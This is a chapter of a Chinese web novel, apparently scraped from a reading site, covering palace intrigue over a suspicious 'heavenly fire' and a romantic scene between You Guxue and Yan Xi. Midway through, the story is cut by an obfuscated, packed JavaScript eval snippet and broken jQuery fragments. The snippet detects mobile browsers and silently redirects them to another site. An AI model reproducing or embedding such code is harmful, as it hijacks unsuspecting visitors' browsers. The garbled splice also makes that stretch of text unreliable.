173. 免死金牌

作品:《权臣难折(穿书)

    正旦节后,长乐寺的香火依旧不断,那毕竟是大雎朝的皇寺,自是非同凡响。


    风有川在主持的带领下,走进了后院的一处禅房中,这处院子格外宽敞,它的后面被青山环抱,与这红色的院墙相得益彰,院中有一棵参天的银杏树,只是眼下冬季还未过,树叶也未生长出来。


    进了禅房后,屏退了跟随的人,他们关上门,禅房中立刻陷入一片寂静,香炉上的白烟缕缕升起,萦绕在这周围。


    正前方的佛像前,跪着一个人,看身形是一个身形佝偻的女人,只是那人一身素衫,头发早已白尽了,枯槁的手上捻着一颗颗的佛珠,嘴巴里念念有词。


    风有川走到她的身后,一向高傲的皇帝,再见到她的那一刻,浑身的肃杀之气,尽数散了,他皱着眉头,似乎脆弱了不少。


    双膝跪在她身边的垫子上,风有川的声音苍老的声音苦涩道:“母亲,孩儿来看你了。”


    钱惜文捻佛珠的手指一顿,面上无任何的表情,看都不曾看他一眼,闭上眼重新开始无声的诵经,冬日的阳光透过窗棂洒下来,檀香的白烟也就着光茫,缓缓而上,映在她苍白,且布满皱纹的脸上,宛如一圈圈的年轮。


    自他夺位成功的那一日起,他的母亲就已经三十多年不曾与他说过一句话,如今这太后之位上坐着的,是他风家的主母,不是他的亲生母亲,因为她不要。


    她觉得杀孽深重,坐的不安心。


    他为她争取来的天下女人中,最尊贵的地位,她不要。


    正旦节前的那场天火,撕开了他不怕死的恐惧,也自那晚之后,他就频繁的做梦,梦里全是和萧文祯的往事,有欢有笑,还有那大火之中,他对自己失望的眼神,怎么都忘不掉。


    是不是人老了,就会特别的怕死?


    风有川承认,他不如年轻时那样的无畏了。


    他对着自己的母亲,诉说的儿时的点点滴滴,也说着自己受的苦难,还有母亲的谆谆教诲,钱惜文从头到尾,还是一言不发,轻微的呼吸声在雅静的禅房里响着,却还是可以给风有川带来前所未有的安心。


    即使钱惜文不理他,他也自顾自的说了两个时辰,不是忏悔,只是诉说。


    夕阳西下,风有川起身,对着钱惜文的背影恭敬的行了个礼,转身就离开了,关门前,还恋恋不舍的看着她的背影,才退出去。


    眼看离崔仲儒的行刑之日愈来愈近,加之近来,萧文祯的面容在他的脑海里愈发清晰,倒叫他无端端的开始缅怀,崔仲儒小时候,他也只见过几面,后来他用药物老化自己的面容后,自己也从未注意过他的样貌。


    回宫时,钱福海说崔仲儒想见见他,风有川一时间心间怅然,便去了趟狱中,想要再看看这个人。


    狱卒没想过皇帝真的会亲自前来,一时间有些惶恐,给他整理来整理去的,最后才把被折磨的快没有生息的崔仲儒,带到皇帝的面前,那人的样貌依然是憔悴的不像个活人,哪还有曾经身为右相的风光。


    现在想想,也是他自己蠢了点,当年娶端妃的时候,问过她家里可有什么亲戚,是她自己说没有的,后来又冒出来一个哥哥,为了防止他起疑心,居然愿意用药老化自己的容颜,实在是……让人敬佩。


    长久不能用腿,崔仲儒的腿伤混着旧疾,已然站不起来了,他头发也花白了一些,没有先前那满头白发可怖。


    皇帝看了看他,半晌后才开口:“萧景逸,你有多久没有听到过这个名字了?”


    崔仲儒转动干涩的眼眸,透过额前凌乱的发丝看他,默然片刻,讥笑道:“我虽身处牢房,可外面的事也不是浑然不觉的,风有川,真正的天罚你算是尝过了吧?滋味如何?”


    章愈这些天已经在翻阅史书典籍,就着星象之说,要向全天下的百姓解释这场天火的缘由,可是让人觉得难办的点是,他到现在都没有找到。


    风有川握紧了袖中的手,牙关咬紧,怒火被他轻而易举的就挑动了起来,却不想在他的面前失态,风有川冷笑一声,弯腰与地上的他对视:“可结果是,你们一家,都难逃朕的手心,你们都会死在朕的前面。”


    崔仲儒眸色平淡的看他炫耀自己的成功,风有川弯腰看他时,血液涨在头上,不止脸色红,连眼中都带着血丝,此时此刻,他比他更像是一个疯子。


    “是吗?”崔仲儒直起腰,努力昂起头颅看他,可这幅身躯像是年久失修的物件一般,稍微动一动就浑身刺疼,尽管如此,他也还是要昂头,“身为您的臣子这么多年,不妨告诉您一件事。”


    崔仲儒的眼眸虽然有些浑浊,可是那其中的算计却是毫不掩盖的,风有川心下有疑虑,顺着他的话问:“什么事?”


    “当初的诺敏公主受袭一事,是我干的不假,尤辜雪身重奇毒,也是我干的,但你知道吗?”想起自己马上要说什么出来,崔仲儒就压抑不住自己狰狞的笑意,“在此期间,我派出去要了结尤辜雪的人,都被灭了,金刃坞,飞鹰寨,不过短短几天的时间,都不复存在了。”


    闻言,风有川的神情一阵错愕,尤辜雪是谁救活的,他还不瞎,金刃坞是他命燕熹办的,但飞鹰寨的事,那人提也没提,想起燕熹每次忤逆他的事情,都和尤辜雪有关,不禁心里骇然。


    崔仲儒很满意他突变的脸色,满意的笑了笑,接着拱火道:“我知道燕熹是为你做事的,可他能做到短短几天内的时间,毁我两股势力,这样的人,他的背后有什么?你真的了解吗?你以为你掌控得了燕熹吗?”


    当时的事情,虽没有明确的证据,证明背后之人到底是谁,可那些事的受益者,只有燕熹,且他当时只针对尤辜雪一人,那么报复他的人是谁,不用怎么查,明眼人都知道。


    他虽然即将命丧黄泉,可是这场权利的斗争,人性的猜忌,厮杀,总要继续下去不是。


    燕熹敢杀了他的哑奴,害死柳云飞,也总要为此付出代价的,他会在地狱里,笑看他们狗咬狗。


    风有川的疑心有多重,他在朝为官这么多年,自然清楚,只要他对燕熹起疑心,发现了他的背叛和不可控,风有川岂能放过他?


    他一死,哑奴和柳云飞的仇,自然就报了。


    风有川的脸色逐渐煞白,他只知道燕熹是寒鸦卫出身,那人自小生长在寒鸦卫里,由林玉山一手带大,他以为自己了解透了,可经过崔仲儒这番话,他才幡然醒悟,自己居然会这么糊涂。


    尤家女眷回下祁的那天,燕熹正好休沐,然后她们就得救了,让人细思极恐的是,他所派去的寒鸦卫与狼,无一人生还,再者,飞鹰寨的灭绝,与寒鸦卫无关。


    所以,他的背后有什么,不敢想象,他若真的背后隐藏的势力滔天,自己还把寒鸦卫交与他,岂不是引狼入室?


    紫檀殿的那场天降大火起的突然,也让许多没见过的人格外震撼,真的以为那是天罚,风灵均本身就觉得它很诡异,于恩行博学多才,他便问了问他,于恩行告诉他,其实翻阅古籍,确实会有这样的事迹发生,只是,千百年来难遇。


    剩下的话,他不曾说出口,是因为他也无法断定,到底是不是天罚。


    紫檀殿着火后,风有川虽然找人修缮,可却再也不曾来过此处,从前不怎么信这些的人,是真的开始怵了起来,这座被天罚过的宫殿,就算修葺完成,估计以后也无人会入住了。


    修缮的工匠们见到太子前来,一时间惶恐的跪下行礼,他简单的回了一句免礼后,扫视了一圈周围的修缮材料,都是些新的,这距离天罚落下才几天,这么快就清理完成了?


    紫檀殿可不小。


    “原先那些烧着的东西呢?”


    工匠们如实回答:“回禀太子殿下,被拉走了。”


    他嗯了一声后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118836|165329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孤身一人进了殿内查看,工匠们说地方脏,不想让他进来,他的脸色一冷,那些人便不敢再言语。


    风灵均顺着宫殿的墙边行走,起火点确实是床榻处最为明显,原先那张塌被拉走了,地板也铺上了新的,目光瞥见了地上那一小截已然烧焦的木头,他好奇的拿起来嗅了嗅,神情困惑。


    硝石的味道?


    那场从天而降的火,也会有硝石的味道吗?


    尤辜雪自上次把燕熹气的发笑后,后面几天再见他,那人连一个眼神都没有给过她,无论她怎么说都不理睬她,尤辜雪想要放弃了,随他生几天的气,可那人偏偏又非要她照旧去吃饭,他不想理她,还非要她在他的眼前晃。


    她发誓,这辈子没见过这么别扭的人。


    流香榭里,尤辜雪一口一口的扒拉着饭,只是边吃边看向那个在书案边写字的人,青丝垂在身后,因为弯腰,有几缕发丝垂在身前,倒也显得他的面容柔和了不少,只是本来就话少的人,眼下话更少了。


    “燕明夷。”


    喊了一句,那人还是没有回她,尤辜雪端起茶杯迅速喝了几口,小跑到他的身边,看着他写的那些东西,说实话,他的字线条流畅,行云流水的,看着恣意潇洒的很。


    “哇塞!燕明夷,你写字好好看啊~”


    “这段写得好。”


    “你的手也好好看啊~”


    “这书上的批注是你写的吗?好详细啊,你真厉害,我都看不懂这些之乎者也的,我掐指一算,燕大人一定是文曲星下凡~”


    ……


    夸了这么多,他一点反应也没有,连嘴角的弧度也看不见,眼神波澜不惊,甚至还有些冷,尤辜雪难免有些气馁,她这拍马屁的功夫,着实是差极了,实在是没辙的她,有些抱怨的探头看了他一眼,而后用指尖轻轻的戳了戳他的后腰。


    “燕明夷,不是说宰相肚里能撑船吗?你这也不行啊~”


    燕熹的笔尖一顿,侧头看她,这么多天来,第一次对她展露笑颜,只是笑的有些森然可怖,语气危险道:“你再说一遍。”


    尤辜雪这才恍然大悟自己方才说了什么,她指着人家的腰,说人家不行,她赶紧收回手指,耳尖泛红,正欲开口道歉时,有一个模样陌生,个头矮小的男人跟着余旧进来了。


    那小个子的男人有些瘦的猴精似的,看见燕熹时,恭敬的唤了一声东家,见到他身边那个穿着官服的姑娘,额头上还有被官帽压出来的轻微的痕迹,且与他的东家靠的极近,东家也没有推开她。


    初韶跟他说过,燕熹身边,挂着一个“免死金牌”,必要的时候,可以喊上一喊。


    想着自己接下来犯的错,他信初韶,张口就道:“东家娘子安好。”


    燕熹的笔尖再次顿住了,尤辜雪也傻眼了,余旧险些被口水呛死,初韶唤的时候,尤辜雪好歹在昏迷,也听不见,他怎么这样正大光明的喊了出来?


    就因为他这一句东家娘子,屋内陷入了一种尴尬的氛围里,炭火烧的旺,噼里啪啦的,房间内静的诡异。


    尤辜雪的眼神来回扫了扫他们僵了的几个人,眸底微微羞赧,她轻咬唇瓣,面颊微红,声音极轻道:“哎!”


    她的声音轻小,可是在这寂静的屋里,却格外的明显,此话一出,三人的目光齐刷刷的对上她,给她看的整个人有些惊悚和紧张,哪有人这么上赶着的?


    反应过来后,尤辜雪眼神闪烁的要跑时,腰间横上了一截手臂,继而背部撞上了一副坚硬的胸膛,低沉的嗓音有着难以掩盖的愉悦,命令道:“出去。”


    那男人还想说什么,被余旧一把拉了出去。


    门砰地一声关上后,燕熹把人勒的紧,低头啃咬她的耳尖,引得她阵阵颤栗,意欲躲避,却又让人遏制住下巴,不得乱动。


    “阿雪,我耳力不佳,你再说一遍。”